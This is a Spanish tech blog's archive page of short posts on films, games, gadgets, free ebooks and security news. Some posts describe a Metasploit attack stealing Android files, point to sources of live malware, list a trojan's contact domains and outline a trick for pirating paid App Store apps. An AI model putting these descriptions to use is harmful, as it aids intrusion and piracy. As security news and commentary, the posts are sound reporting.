4300	Lightning Talks - Day 4	mp4	mp3	ogg
4301	How the Internet sees you	mp4	mp3	ogg
4302	27C3 Keynote	mp4	mp3	ogg
4326	Radio der Zukunft	mp4	mp3	ogg
4333	Hacker Jeopardy (english translation)	mp4	mp3	ogg
4334	Fnord-Jahresrückblick 2010 (english translation)	mp4	mp3	ogg
4338	Wikileaks und mehr	mp4	mp3	ogg
4339	OpenLeaks	mp4	mp3	ogg

Breaking_In

Breaking In es una nueva serie (comedia) creada por la Fox sobre una empresa que se dedica a buscar problemas de seguridad y cuya estrategia de marketing es un tanto cuestionable. La serie se emite los Miércoles a las 9:30 EST, (2:30 am del Jueves en España)

Enlace oficial

Jeff Bridges visita la tienda de "El Gran …

...ahora sólo falta John Turturro.

La tienda se llama "The Little Lebowski" y esta situada en el 215 de Thompson St. en Nueva York (Greenwich Village).

Extracto:

John Goodman (Walter): - Este dedo no es de ella, Nota …

Jeff Bridges (Nota): - Entonces, de quién era, Walter.

Walter: - !Y yo qué coño sé.! Lo que sé es que no hay nada que indique …

iPad2, prototipo

Parece que se ha filtrado un pequeño vídeo sobre el nuevo iPad. Según comentan en la fuente, este prototipo fue entregado una empresa China para ayudar en el diseño de la carcasa.

Visto en slashdot

La imagen más amplia del cielo nocturno jamás …

Es una megafotografía compuesta por 7.000.000 de imágenes y cada una de esas imágenes posee 125.000.000 de píxeles 8O Han sido los astrónomos americanos los artífices de semejante barbaridad, más concretamente los pertenecientes al proyecto SDSS (Sloan Digital Sky Survey) Ayer lo presentaron y hoy ya está a disposición de todos los interesados en la página sdss.org.

BBC

Rarezas del acceso a ficheros en PHP bajo Windows

En la lista de correo full disclousere de seclist.org apareció esta mañana un correo sobre una pequeña investigación realizada por Vladimir Vorontsov y Arthur Gerkis.

En dicha investigación, se demuestra el comportamiento, en ciertos casos, un poco extraño del acceso a ficheros del interprete de PHP bajo Windows. Específicamente, éste se produce con la llamada a la función FindFirstFile() de la API de Windows. Dichos investigadores apuntan a que este comportamiento o error, a día de hoy sigue presente en todas las versiones de PHP/ Windows.

Todas las víctimas de Dexter (infografía)

OJO: Spoilers como puños si no has visto Dexter al completo. Haz click en la imágen para ver la infografía:

Ilustración creada por Shahed Syed donde se explica exactamente cómo Dexter se cargó a cada una de sus víctimas en las cinco temporadas que lleva emitidas. Contiene una elaborada leyenda gráfica donde muestra varias cosas como por ejemplo el método usado para asesinarla, si la muerte es directa o indirecta, etc.

Espectacular.

Mágica Polaroid 636

Video musical grabado con una Canon 5D Mark II y dirigido por sixtwelve. La canción es "The Better Man" de Cayetano.

-

Existe la creencia, en algunas culturas, de que si plasman tu imagen en una fotografía tu alma queda en ella capturada para siempre, pero yo voy un poco más allá: también hay fotografías que al verlas capturarán tu alma para siempre. Una foto siempre será mágica porque atrapa al fotografiado, al fotógrafo y, después, al que la vea. Para Roland Barthes, "la fotografía implica apresar la historia de la vida que no volverá a surgir".

Primera feria mundial online de la ciencia por …

Google Science Fair es un concurso preparado por Google, obviamente, para buscar los mejores científicos jóvenes del planeta.

El concurso está limitado a personas de entre 13 y 18 años de cualquier rincón del planeta. La fecha límite de entrega del proyecto es el 4 de Abril de este mismo año. En este enlace podéis ver los premios, que son muy golosos. Google también pone a disposición de los participantes una serie de servicios, muchos ya conocidos por todos, lo que implica que otro requisito para participar es tener una cuenta con ellos. Y si eres profesor de ciencias y quieres animar a alguno de tus alumnos a participar, también dispones de material específico para ello.

La evolución del Batmóvil

Haz click en la imagen para verla más grande.

Enlace original.

Robando ficheros de la tarjeta de memoria en …

En este vídeo podéis ver como usando Metasploit se pueden robar ficheros de la tarjeta de memoria de terminales Android, al menos de la versión Froyo 2.2.

Usando un enlace malicioso y gracias a los servicios de acortar url (url shortener) que se pueden usar para ocultar a primera vista el servidor/recurso al que estás accediendo y por supuesto aprovechando una vulnerabilidad en el sistema, vemos como el teléfono abre una web que parece legítima (Adobe en el vídeo), pero previamente a mandado una de las fotos que almacena en su tarjeta de memoria al servidor del atacante.

Comprar, tirar, comprar

La obsolescencia programada es un concepto que implica la planificación deliverada de la vida útil de un producto. En el documental emitido este pasado domingo en La 2, Cosima Dannoritzer muestra como este concepto se ha convertido en uno de los principales cimientos y motores de la economía en los países desarrollados, y cuales son los efectos que la aplicación de éste provoca en terceros países.

El documental titulado "Comprar, tirar, comprar" permite observar los comienzos de la idea a finales del siglo XIX con la creación del primer cártel formado por los fabricantes de bombillas de filamento incandescente, y como este concepto se sigue aplicando hoy en día en empresas tan conocidas a nivel mundial (y que tanto se "preocupan" del medioambiente) como Apple. Además, es interesante ver los diferentes movimientos existentes actualmente, que tratan de mostrar alternativas a este modo de plantear los negocios.

Color Scheme Designer garantiza la mejor …

Primero elige la mezcla de colores...

...después mira como quedaría tu web.

Color Scheme Designer es una aplicación web gratuita que consigue resolver la eterna duda de un diseñador web: ¿Ese color "pega"? La creación de una paleta de colores es una de las cosas fundamentales que hay que realizar antes de comenzar con el diseño de una web. Todo dependerá del contenido: serio, alegre, informativo, divertido, intrigante, morboso, neutral, sexy... Nuestro cerebro está programado para acoplar un sonido y un color a todas las situaciones de la vida, por ejemplo, la música de un banjo junto a un color marrón oscuro tan solo le faltará el dibujo animado... el correcaminos. Color Scheme Designer es muy fácil de utilizar, tan solo debes mover el punto del círculo de colores y automáticamente aparecerán a la derecha los colores secundarios que mejor se compenetrarán con el principal. La página tiene infinidad de recursos para graduar: saturación, brillo, contraste, paletas aleatorias, opciones para personas con disfunciones visuales... Cada combinación tiene un ID y la podremos exportar a HTML+CSS, XML, ACO (paleta de photoshop) y GPL (paleta de gimp).

Git de abajo a arriba

Este es un pequeño PDF de 31 páginas que explica de una forma muy sencilla como funciona Git. El índice del mismo es el siguiente:

1. License 2. Introduction 3. Repository: Directory content tracking

• Introducing the blob
• Blobs are stored in trees
• How trees are made
• The beauty of commits
• A commit by any other name...
• Branching and the power of rebase

4. The Index: Meet the middle man

• Taking the index farther

5. To reset, or not to reset

• Doing a mixed reset
• Doing a soft reset
• Doing a hard reset

6. Last links in the chain: Stashing and the reflog 7. Conclusion 8. Further reading

Visto aquí

Empezando con Microsoft Sharepoint Foundation …

Pues nada, ya podéis añadir a la colección un nuevo regalo de Microsoft.

Getting started with Microsoft SharePoint Foundation 2010, es un libro electrónico editado por Microsoft. Este libro cubre los primeros pasos sobre el uso de Sharepoint Foundation 2010, como son: la instalación, configuración y actualización.

Lo puedes descargar tanto en formato PDF como documento Word.

Visto aquí.

Criptografía, teoría y práctica. Mini curso

Este mini curso sobre criptografía se impartió en Google hace ya algún tiempo (Noviembre 2007).

Dicho curso está compuesto por 4 vídeos:

1. Classical to Modern Cryptography
2. Using Cryptography in Practice
3. Security Definitions and Proofs of Security
4. Verifying Elections with Cryptography. Invitado especial: Ben Adida.

Además también podéis bajaros las correspondientes diapositivas:

1. Lecture 1: From Historical to Modern Cryptography
2. Lecture 2: Cryptography in Practice
3. Lecture 3: Theory of Cryptography
4. Lecture 4: Cryptography and Voting

También nos enlazan una serie de artículos cuya lectura es recomendada. Y para terminar podemos encontrar  3 paquetes de ejercicios para poner en práctica lo aprendido.

1. Exercise Set 1
2. Exercise Set 2
3. Exercise Set 3

Plantillas Wordpress para fotógrafos

Es cierto que a día de hoy muchos de los fotógrafos punteros poseen páginas web basadas en flash por el simple motivo de ser “distintos” en este saturado mercado (efectos slide especiales o velocidades de alpha específicos… pobre diseñador) Esto ha cambiado bastante con wordpress ya que algunas de sus plantillas implementan efectos de pasada, degradados o efectos de transparencias muy buenos. Sé que a la mayoría de los fotógrafos amateur o semi no les importa tener una página parecida al de otro porque lo que les preocupa de verdad es que sus fotografías sí que lo sean. :-)

Mata la nostalgia desde tu navegador

¿Nostalgia de los mejores clásicos? Mátala desde tu navegador.

En la web de playr.org puedes jugar a muchos de los mejores juegos de antaño sin necesidad de dejar tu navegador. Gameboy, NES, SNES, etc. Sin necesidad de instalar nada en tu ordenador, bueno, un navegador, pero apuesto a que ya tienes instalado uno :-p

Kegputer

Ese es el nombre con el "Gadget" que nVidia se presentó en el Computer Electronics Show. Si te gusta la cerveza y te gustan los vídeo juegos, esto es con lo que siempre has soñado amigo mío.

Un ordenador, cargadito, dentro de un barril de cerveza. Además de cerveza, dentro puedes encontrar:

• Un Intel Core i7-2600
• Placa base Asus Sandy Bridge
• Corsair SSD
• 12GB def RAM
• Dos GeForce GTX 580 en SLI
• 40 birras!

Espectacular ilustración de Boba Fett

 

Boba Fet perdió todo su encanto, misterio y también el respeto, en aquellas mier*, perdón, innombrables sagas de Star Wars (te recuerdo que para mi sólo existen los episodios IV ,V y VI) de cuyo no nombre no quiero acordarme.

Así es como hay que recordarlo.

Visto en HTCRU.

Moving Mountains, dos canciones para este segundo …

Moving Mountains

Razer Switchblade, la consola PC

 

Básicamente es un pequeño ordenador portátil con una pantalla táctil y un teclado programable con una mini pantalla para cada tecla (por lo que puedes mostrar el icono que quieras). Además lleva Wifi, 3G, Mini hdmi, Windows 7, pantalla de 7" y un  procesador Atom … esto es lo que más me ha llamado la atención ya que estos microprocesadores no son precisamente potentes para videojuegos. Supongo que esta debilidad en cálculo se equilibra con la instalación de una buenta tarjeta de video.

Er docu der finde: Redes sociales, quiero ser tu …

¿La App Store de Apple rota?

Bueno, pues parece que poco han tardado de encontrar una forma de poder piratear aplicaciones de la recién estrenada App Store de Apple.

Copiando algunos ficheros de una aplicación gratuita sobre una de pago, puedes usar la de pago de forma legítima. Me parece que no me explicado. Let’s try again.

Desde la App Store puedes instalar aplicaciones o juegos en su versión beta o limitada y si te gusta dicho software puedes pagar por él y listo. Pero por lo visto si instalas una aplicación gratuita y copias ciertos ficheros sobre la aplicación de pago que no has pagado aún, parece ser que la App Store se lo traga como que has hecho el pago.

Introducción al análisis de datos binario

The Binary Auditor es el título de un corto, pero conciso documento escrito por Thorsten Schneider, dónde nos hace una introducción al análisis de ficheros o datos binario.

Este caballero es dueño y señor de www.binary-auditing.com y crackmes.de. El documento consta de 22 páginas (21, la última está vacía) y el primer ejercicio trata sobre la identificación de las variables en el binario que analizamos.

Entrada original. Fichero con los ejercicios.

Robo del PIN en cajeros automáticos

La tecnología evoluciona y con ella la forma de hacernos la vida más fácil, pero como en la vida, todo tiene su lado positivo y su lado negativo.

Ya hace algún tiempo publicamos aquí unas fotos de un cajero trucado para robar tu tarjeta de crédito (datos de la banda magnética) con un lector falso conectado a un teléfono móvil, el cual te grababa mientras introducías tu PIN.

Nuestro regalo para este Día de Reyes Magos: …

Como regalo de reyes, aquí tenéis esta lista espectacular de libros gratuitos (en inglés) para administradores de Windows. Están en orden cronológico, y son todos realmentes espectaculares. Por ejemplo, el primero cuesta de media 22$ pero es gratuito para su descarga en formato digital. Desde configurar un Windows 2008 Server desde cero, atajos de teclado, seguridad en entornos Windows hasta incluso virtualización con Hyper-V o Xen.

Esta es la lista imprescindible:

Hannibal Hello Kitty

Visto en GeeksAreSexy

Colección de Malware

Nada mejor para un profesional a la hora de aprender y ganar experiencia y conocimiento que enfrentarse a situaciones reales dentro de su campo.

En el campo de la seguridad informática sucede lo mismo. Tanto para el aprendiz como para el experto siempre es bueno el poder investigar por uno mismo malware real, activo o no.

Lenny Zeltser ha publicado una entrada en su web donde recopila algunos enlaces desde los cuales te puedes bajar todo tipo de malware. Podrás encontrar incluso algún especimen que todavía está vivito y coleando por la web.

Android 3.0, Honeycomb

Hoy han publicado una entrada en el blog oficial de Google Mobile relacionada con la nueva versión de Android 3, Honeycomb.

Entre algunas de las características a destacar de esta nueva versión se encuentra la nueva interfaz gráfica, una interfaz holográfica virtual, totalmente futurista. Según se puede leer en la entrada, se ha rediseñado todo el sistema desde abajo. Mejorando la experiencia 3D, las notificaciones y la multitarea. Además de todo esto, se han mejorado el navegador, la sincronización con Google Chrome, etc.

Me llamo Spencer y tengo 8 años

Los mejores mods del 2010

Espectaculares los mods o modificaciones hechas a cajas de ordenador que podemos ver en esta entrada. Recogen un total de 18 mods, a cual más impresionante.

A continuación os dejo la lista mods:

Air Cube by Wayne Wilkinson (Waynio) ARES by Max Erlandsson (Sleepstreamer) ATCS 840 Blue Power by Magnus Persson (wolverine) Concretronic by Dominic Heisse (Sonnenschein) Cray-1 by Daryl Brach (Pfaffen) - De esta ya hablamos aquí. Future Schlock by Alexis Alex Ftoulis (AnGEL) GTC by Cüneyt Yetgin (GinoTheCop) Level Eleven by Jeffrey Stephenson (slipperyskip) Mineral Oil PC by Andrew Mollmann (legoman666) MiniMe by Oliver Woodings (oliverw92) Na’ir al Saif by Attila Lukacs (Attila) Purple Rain by Mark Downing (mrdbristol) Recognizer by Martin Blass (thechoozen) Reventon by Paul Tan (paultan) Sidewinder by Ian Warendorf (WolfandAngel) Trident by Tim Tranter (Hg) Ultra by Peter Husar (Gtek) Zenith Antique 5-s-29 Radio by Gary Voigt (voigts)

5 alternativas a Paypal

Después del revuelo que levantó Wikileaks y de ver como muchas de las empresas le dieron la espalda, mucha gente empezó a tomarse la justicia por su mano y aparecieron ataques DDoS a diestro y siniestro como manera de protesta.

Otra de las formas de protestar contra un servicio online, es simplemente no usarlo, pero a veces esta tarea no es fácil, por motivos varios. Además desde mi punto de vista, siempre es bueno conocer alternativas a un servicio, en caso de que algún dicho servicio nos falle simplemente queramos dejar de usarlo.

Actualización falsa para Windows

Parece ser que se está extendiendo un email suplantando a Microsoft en el cual dice que tienes que actualizar tu Windows. En dicho email también se adjunta un fichero .zip con el supuesto parche, el cual obviamente no es ningún parche, sino un gusano.

Ni que decir tiene que Microsoft nunca manda ningún tipo de actualización por correo electrónico. Así que ojito!

Fuente.

Lo mejor de lo mejor de Lifehacker en 2010

En la web de Lifehacker han creado una entrada con lo mejor de cada categoría del pasado año 2010. Sin duda alguna una recopilación de artículos de gran calidad e interés.

• Los howtos más populares.
• Los mejores Top 10.
• Los mejores trucos sobre fotografía.
• Los mejores proyectos hazlo tú mismo.
• Las descargas gratuitas para Windown más populares.
• Las mejores descargas para Linux.
• Los 5 mejores… más populares.
• Los trucos, en general, más populares.
• Los mejores escritorios.
• Las mejores explicaciones.
• Los mejores Howtos sobre vídeo.
• Las mejores entradas y aplicaciones gratuitas para iPhone.
• Las mejores entradas sobre Android.
• Las mejores extensiones y entradas sobre Firefox.
• Las mejores entradas y extensiones para Chrome.

Se encuentra un prototipo del Zelda original

 

En concreto “The Legend of Zelda” para NES. Contiene algunas variantes respecto al juego final, por ejemplo tiene enemigos más fáciles, diferentes mapas de las mazmorras, diferente música, sprites distintos, etc.

Aquí tienes una lista de estas diferencias y más información.

Este es el disco de Famicom System Disk donde estaba este prototipo:

No me imagino el precio de este disco en ebay ;)

Visto en Ripten.

Recopilación de prensa, revistas...

Gracias a un email de mi colega Pellejo, me hago eco de esta web llamada Youkioske.com. Desde la cual puedes leer online gran cantidad de publicaciones (revistas, libros, prensa, comics, etc).

Ellos mismos se describen como:

Es una web que te permite una nueva manera de disfrutar de las mejores publicaciones en alta calidad online sin necesitad de descargarlos y en el momento que tu quieras. Tu mismo puedes enviar el enlace a una publicación que previamente deberá ser subido por alguien a un alojador de publicaciones y el resto de los usuarios se encargaran de promoverlo con sus votos, o no, a la portada de YouKioske.

Desde aquí puedes ver una ilustración de como puedes publicar en YouKioske.

Shellcode parlante

Normalmente una shellcode lo que lanza es una shell en un sistema vulnerable, de ahí su nombre.

Pero el otro día me encontré con esta entrada en skypher.com, donde su autor habla sobre una shellcode que lo que hace es decir por los altavoces “You got pwned!” :-)

Esta shellcode usa la API de Microsoft Speech, por lo tanto este payload sólo funciona bajo Windows y tiene un tamaño de 242 bytes.

Tron Legacy Sprites

Genial, hasta aparecen Daft Punk  :)

Visto en 8Bits.

Escépticos en ETB-2, primer programa "¿Fuimos a la …

 

Genial programa de Jose A. Pérez (Ciudad K) y presentado por el periodista científico Luis Alfonso Gámez que busca desmontar todas las grandes falacias “no científicas” más populares en la sociedad.

Este es el primer documental, realmente fantástico.

Visto aquí y aquí.

ImageUSB, crea imágenes de discos USB

 

ImageUSB es una aplicación gratuita que te permite hacer copias múltiples de discos USB creando una imágen a nivel de bit. Además permite realizar un proceso por lotes para crear  por ejemplo, copias mútliples de un pendrive.

Lo mejor de aplicación es que la copia que realiza mantiene toda la estructura del disco, incluyendo espacios libres y sector de arranque. Por lo tanto, si duplicas un pendrive de 8GB con sólo 2GB de datos, tienes que duplicarlo en otro pendrive de 8GB.

Primer domingo por la mañana del 2011, Punk TV …

Punk TV

A Geek History Lesson

Visto aquí

Hakin9: Cybercrime and Cyberwar Predictions for …

Ya tenemos disponible un nuevo número de esta magnífica revista con el siguiente contenido:

1. Cybercrime and Cyberwar Predictions for 2011 by Gary Miliefsky
2. The Social Web Threat by Julian Evans
3. Pros and cons of partial passwords in web applications by Darek Łysyszyn
4. Target Attacks via Email by Pedro Bueno
5. Spyware Threat Invades BlackBerry App World by Mayank Aggarwal
6. Open WiFi and Firesheep by Joseph Webster

La podéis descargar desde aquí.

¡Feliz 2011!

¡Feliz 7DBh!

Desde CyberHades, seguiremos explorando los rincones de Internet en este 2011 (ó 7DB en hexadecimal).

Gracias a todos por visitar nuestro blog.

Er docu der finde: El Enigmático Poder de las …

Las pirámides de Egipto siempre me han causado gran sensación. Disfrutad y ¡Feliz año nuevo!

Learn You Some Erlang for Great Good!

Erlang es un de esos lenguajes no muy conocidos que usan un paradigma funcional y programación concurrente. Apareció en 1988 y su autor se inspiró en prolog.

Desde mi punto de vista conocer alguno de estos lenguajes funcionales es crucial para todo programador. Al principio resultan un poco raro. Aún recuerdo cuando el facultad tuve que estudiar Scheme, al final me acabó gustando.

El título de esta entrada no es más que el título de un libro electrónico sobre Erlang, no sólo eso, sino que además este ebook es gratuito y además está en formato epub, con lo cual es perfecto para poder leerlo en un lector de libros electrónico favorito.

50 tutoriales para administradores de UNIX/Linux

En The Geek Sstuff han hecho una buena e interesante colección de tutoriales para administradores de sistemas UNIX/Linux. Dicha colección cubre todo tipo de tareas y necesidades que todo buen administrador debe conocer.

1. Disk to disk backup using dd command
2. 15 rsync command examples
3. Three sysadmin rules
4. User and group disk quota
5. Troubleshoot using dmesg
6. RPM package management examples
7. 10 netstat examples
8. Manage packages using apt-* commands
9. Modprobe command examples
10. Ethtool examples
11. NFS mount using exportfs
12. Change timezone
13. Install phpMyAdmin
14. Setup squid to control internet access
15. Add new swap space
16. Install and configure snort
17. Register RHEL/OEL linux to support
18. tftpboot setup
19. Delete all iptables rules
20. Disable ping replies
21. Block ip address using fail2ban
22. Package management using dpkg
23. Alfresco content management system
24. Bugzilla bug tracking system
25. Rpm, deb, dpot and msi packages
26. Backup using rsnapshot
27. Create Linux user
28. Mount and view ISO file
29. Manage password expiration and aging
30. ifconfig examples
31. Oracle db startup an sthudown
32. PostgreSQL install and configure
33. Magic SysRq key
34. Wakeonlan Tutorial
35. List hardware spec using lshw
36. View hardware spec using dmidecode
37. Use the support effectively
38. Install/Upgrade LAMP using Yum
39. Template to track your hardware assests
40. Disable SELinux
41. Install PHP5 from source
42. Install MySQL from source
43. Launch Linux clients on windows
44. IPCS
45. Logical Volume Manager
46. 15 Tcpdump examples
47. Manage partition using fdisk
48. VMWare fundamentals
49. Rotate the logs automatically
50. Passwordless SSH login setup

Gameplay de Uncharted 3: Drake's Deception

Buen gameplay de este juegazo que saldrá en noviembre del 2011. Es la tercera entrega de las aventuras de Nathan Drake que esta vez nos lleva a Arabia en busca de la ciudad perdida de Ubar, la Atlántida de las Arenas.

Libro "Una al día", doce años de seguridad …

 

Se merecían los chicos de Hispasec este homenaje en formato de libro que ha sacado, en edición limitada (500 ejemplares), Informatica64 al precio de 12€ + gastos de envío.

Reseña del libro:

Anuario ilustrado de seguridad informática, anécdotas y entrevistas exclusivas... Casi todo lo que ha ocurrido en seguridad en los últimos doce años, está dentro de Una al día: 12 año de seguridad informática. Para celebrar los doce años ininterrumpidos del boletín Una al día, hemos realizado un recorrido por toda una década de virus, vulnerabilidades, fraudes, alertas, y reflexiones sobre la seguridad en Internet. Desde una perspectiva amena y entretenida y con un diseño sencillo y directo. Los 12 años de Una al día sirven de excusa para un libro que está compuesto por material nuevo, revisado y redactado desde la perspectiva del tiempo. Además de las entrevistas exclusivas y las anécdotas propias de Hispasec. Incluye  entrevistas exclusivas a los personajes relevantes de cada momento en el mundo de la seguridad: Bruce Schneier, Eugene Kaspersky, Cuartango, Mikel Urizarbarrena, Jorge Ramió, Johannes Ullrich... Además de noticias y anécdotas relevantes de cada año, fuera del ámbito de la seguridad informática. Por último, se han reproducido algunas de las mejores Una al día de todos los tiempos, las que mejor reflejan el estado de la seguridad en el momento en el que fueron redactadas

Video completo de la conferencia Console Hacking …

Un grupo llamado ’fail0verflow" ha revelado en el C3 que ya tienen las claves privadas de la consola PS3, por lo tanto ya podemos generar cualquier software y luego ejecutarlo. Además anunciaron que tienen una forma de hacer jailbreak a la PS3 sin necesidad de ningún usb u otro sistema externo (dongle). Todos estos exploits afectan incluso a la última versión del firmware, la v3.55.

Estos son los videos (en tres partes) de la conferencia:

Bad Trooper!

Visto en GeeksAreSexy.

Geinimi, nuevo troyano para Android

Geinimi es el nombre de un nuevo troyano para sistemas Android. De acuerdo con la fuente de la que recojo está información, es el troyano más sofisticado conocido en este momento.

En el momento que el usuario ejecuta la aplicación infectada, el troyano empieza a recolectar información del teléfono como: el IMEI del mismo, identificación de la SIM card y localización. El troyano intenta conectarse a uno de los siguientes dominios: www.widifu.com , www.udaore.com , www.frijd.com , www.islpast.com and www.piajesj.com . Si la conexión falla, lo vuelve a intentar cada 5 minutos.

Comparativa de objetivos 50mm

No todo en esta vida son megapíxeles o rango de focales. Cuando se es novato y sales de casa con un todoterreno 18-200 mm sientes que eres capaz de fotografiar cualquier escena y, de hecho, lo haces; pero cuando te pones a revisarlas delante del ordenador con un café caliente te das cuenta de que, para tu disgusto, algunas fotografías no han conseguido la nitidez o la iluminación que esperabas o que veías por el visor. Aparece viñeteo o aberraciones crom  y es justo en ese momento cuando empezarás a echar de menos tus antiguos ojos que no eran capaces de distinguir esas lineas borrosas de las que ahora están llenas tus fotos. Los objetivos fijos (distancia focal fija) no tienen tanto juego como los de zoom pero tienen algo de lo que estos carecen: nitidez y luminosidad, nada más y nada menos. Cuando los zooms alcanzan rozando los f3.0 (grandes, caros y pesados) los fijos están en f1.2 (pequeños, asequibles y ligeros). Aquí os dejo una comparativa que nadie debería perderse antes de comprar un fijo ya que no es mejor el más caro ni el peor objetivo es de marca la papa.

Historia digital de la Navidad

Un poco tarde…

Películas Sci-Fi versus Ciencia

 

Este cuadro nos muestra una tabla que indica los mayores errores científicos cometidos en películas de Ciencia Ficción.

Los diferentes apartados que indican el error científico son (de izquierda a derecha):

• Sonido en el espacio
• Todos los planetas tienen la gravedad de la Tierra
• Todos los planetas tienen el mismo clima (por toda su suerficie)
• Fácil comunicación con alienígenas
• Fácil mestizaje entre humanos y alienígenas
• Extraños efectos por la exposición al vacío
• Fuego en el espacio / explosiones no realistas
• Los ateroides no se atráen entre ellos por la gravedad
• Esquivando armas más rápidas que la luz (ejemplo, lásers)
• La gente se mueve a cámara lenta en gravedad cero
• Viajes más rápidos que la luz

Jugando al World of Warcraft con Kinect

A ese ritmo no creo que la gente dure mucho jugando ;)

Visto en Joystick

Falling skies, serie de Sci-Fi para este verano

Más info en vayatele.

Publicidad agresiva

En los anuncios catalogados "de concienciación pública" existe una finísima linea que separa la sutileza de la alarma social. Hay espectadores muy duros que estan acostumbrados a ver casi cualquier cosa y otros, en cambio, caen en la sensiblería frente a determinadas imágenes. Hallar ese punto intermedio es muy complicado, tanto que los creativos lo llamamos "publicidad de alta eficacia" y suele necesitar de grandes cantidades de dinero y de muchas mentes pensantes.

WebApps que añaden nuevas funciones interesantes a …

 

Una webapp es mejor que un add-on (añadido o plugin para algunos navegadores), ya que estas interactúan con Gmail a través de las API de Gmail que son mucho más potentes y permiten más funciones que los add-on:

•  Other Inbox: busca en tu buzón emails que no son importantes y los mueve a carpetas, por ejemplo, alertas de noticias CNN las pasará a la carpeta de noticias mientras que correos de Amazon o iTunes los pasará a la carpeta de compras. Es quizás la mejor manera de limpiar el buzón.
•  Unsubscribe.me: añade un botón para cancelar subscripciones a listas de correo o servidores de noticias con un simple click.
• FindBigmail.com: cuando no te queda espacio en el buzón, puedes usar este servicio para buscar los correos más grandes en tu cuenta y borrarlos ó descargarlos para recuperar algo de espacio.
• Rapportive.com: si recibes un correo de alguien no conoces, esta aplicación te dará toda la información posible tomando la dirección de correo del remitente para construir todo un informe desde todas las redes sociales (Facebook, Twitter, etc.) donde esta persona esté presente.
•  AwayFind.com: crea alertas para emails importantes y enviártelas por mensajes de texto o incluso realizando una llamada. Todo esto sin tener que estar mirando el buzón.
• Email Oracle: permite comprobar que el destinatario ha leido tu correo. Funciona añadiendo una imágen de rastreo en el mensaje, por lo tanto sólo funcionará si el destinatario tiene activada la descarga de imágenes web.
• eTacts.com: es parecido a Rapportive pero con más funciones. Obtienes una lista de "interacciones" con una persona en el momento que abres uno de sus mensajes. También puedes asignar la frecuencia para estar en contacto con una persona, si no le envías correos por mucho tiempo, eTacs te lo recuerda.
•  Boomerang: puedes crear un correo y luego programarlo para que se envíe cuando quieras más tarde. Por ejemplo puedes crear un correo para cumpleaños que se enviará de forma automática cuando llegue la fecha.
• Varias webapps para Outlook: si usas Outlook, echa un vistazo a esta magnífica lista de webapps.

Esta lista está basada en esta otra de LifeHacker.

27th Chaos Communication Congress (C3) en Berlín

 

Siempre he querido ir a este congreso, este año tampoco ha podido ser pero intentaré ir el próximo.

Del 27 al 30 de Diciembre se celebra en Berlín el C3 organizado por el mítico Chaos Computer Club.

Web oficial

Lista de conferencias.

Más información en SecurityByDefault y estaremos atentos a todo el material que se vaya publicando.

Recopilación de los mejores fails del 2010

Para reirte un rato …

Top 100 búsquedas BitTorrent del 2010

 

Revelada por Kickass Torrents, esta es la lista y "porn" es la novena ;) (por si te lo preguntabas):

1. Inception
2. Iron Man 2
3. 2010
4. XXX
5. french
6. Avatar
7. dvdrip
8. Despicable Me
9. porn
10. Clash of the Titans
11. Toy Story 3
12. Glee
13. Salt
14. Twilight Eclipse
15. Dexter
16. The Sorcerer’s Apprentice
17. Axxo
18. Robin Hood
19. Prince of Persia

Pirates ♥ Daisies: el mejor juego en HTML5

Sin necesidad de plugin, java, etc y jugable bajo las plataformas Chrome 6+, Firefox 3.6+, Safari 5+, Opera 11, IExplorer 9 beta. La gente de Conceivably Tech dice que es el mejor juego en HTML5, segun pruebas de rendimiento, fluidez en equipos con pocos recursos, jugabilidad, calidad de sus gráficos y sonidos y su interfaz.

Jugar: Pirates ♥ Daisies

Link

Facebook status fail

Si, ya, la barra de google... menuda excusa. :lol:

Link

Domingo frío por la mañana, nada como Spaceman 3 …

El video tiene mala calidad y creo que la canción se ha superpuesto pero nos sirve.

Grupazo de la era post-punk y rock psicodélico un poco olvidado, pero no en CyberHades.

Fijáos, como curiosidad, en el logo de la MTV o_O , por lo visto antes ponían música ;)

Spaceman 3

Errores comunes en Bash

A modo de introducción muy breve, Bash es el intérprete de comandos o shell por defecto en la mayoría de las distribuciones basadas en Linux hoy en día.

Esta shell además provee un gran potencial para administradores de sistemas y programadores a la hora de procesar tareas administrativas y nos ofrece un lenguaje de script muy completo con el que podemos gestionar dichas tareas de forma programática.

Plantilla de seguridad para HTML5

En este enlace podéis encontrar una amplia lista de trucos, o chuleta, o como quieras llamarlo sobre seguridad para el nuevo estándar HTML5.

Cada apunte está acompañado de un pequeña descripción del vector de ataque, sintaxis/ejemplo de la etiqueta/atributo en cuestión y como podemos mitigar dicha amenaza.

También nos indica que navegador está expuesto a dicho ataque.

Very handy!

Buscador de exploits

Ya en su día hablamos de Shodan, un buscador de servicios o servidores por sus versiones, routers, etc.

Esta web ha añadido un nuevo servicio a su repertorio, un buscador de exploits. Además han añadido a su API pública, el acceso a dicha base de datos de exploits.

Revisando la documentación, veo que algún Maligno ya está usando esta API en su mascota preferida, que por supuesto no es un pingüino :-p

Base de datos de subtítulos

opensubtitles.org es un servicio totalmente que almacena la base de datos más grande gratuita  de subtítulos online. Soportan varios idiomas y además ponen a disposición una API que puedes usar desde tu propia aplicación. De hecho ya hay muchas aplicaciones y reproductores de vídeo (más de 220 en estos momentos) que son capaces de enlazar con este servicio, como por ejemplo SMPlayer. También mencionar que este servicio tiene su propio reproductor multimedia, que obviamente está totalmente integrado con el mismo (en este momento sólo para Windows).

Si quieres enlazar con este servicio desde tu aplicación, échale un vistazo al wiki del proyecto.

gDEBugger, gratis por un año

gDEBugger es un depurador multiplataforma (Wiundows, Linux y MacOS X) que te permite depurar aplicaciones OpenGL (Open Graphics Library) y OpenCL (Open ), analizar su rendimiento (profiling) y la memoria de dichas aplicaciones.

Este depurador es capaz de mostrarnos de forma detallada de la actividad de las llamadas a la API de las librerías mencionadas anteriormente.

Una vez te hayas descargado e instalado este debugger, puedes bajarte la licencia para poder usarlo de forma totalmente gratuita por un año.

Er docu der finde: WikiRebels

Visto en Ubuntulife

Sigue a Papa Noel en su viaje alrededor del mundo

 

Síguelo aquí.

Los mejores "espacios de trabajo" de LifeHacker …

 

En CyberHades nos gusta mucho echar un vistazo a aquellos espacios de trabajo, habitaciones, muebles, modding, etc. que hacen los geeks alrededor del mundo para modelar su entorno y hacerlo lo más práctico posible (y si puede ser elegante, mejor).

En LifeHacker suelen publicar de vez en cuando algunos de estos espacios:

Ahora han sacado esta recopilación con los mejores del 2010, donde no sólo veras espacios en casas particulares sino también de oficinas como Moleskine, Boxee, Google, etc.

LifeHacker, Featured Workspaces 2010

Xirrus Wi-Fi Inspector, herramienta para …

 

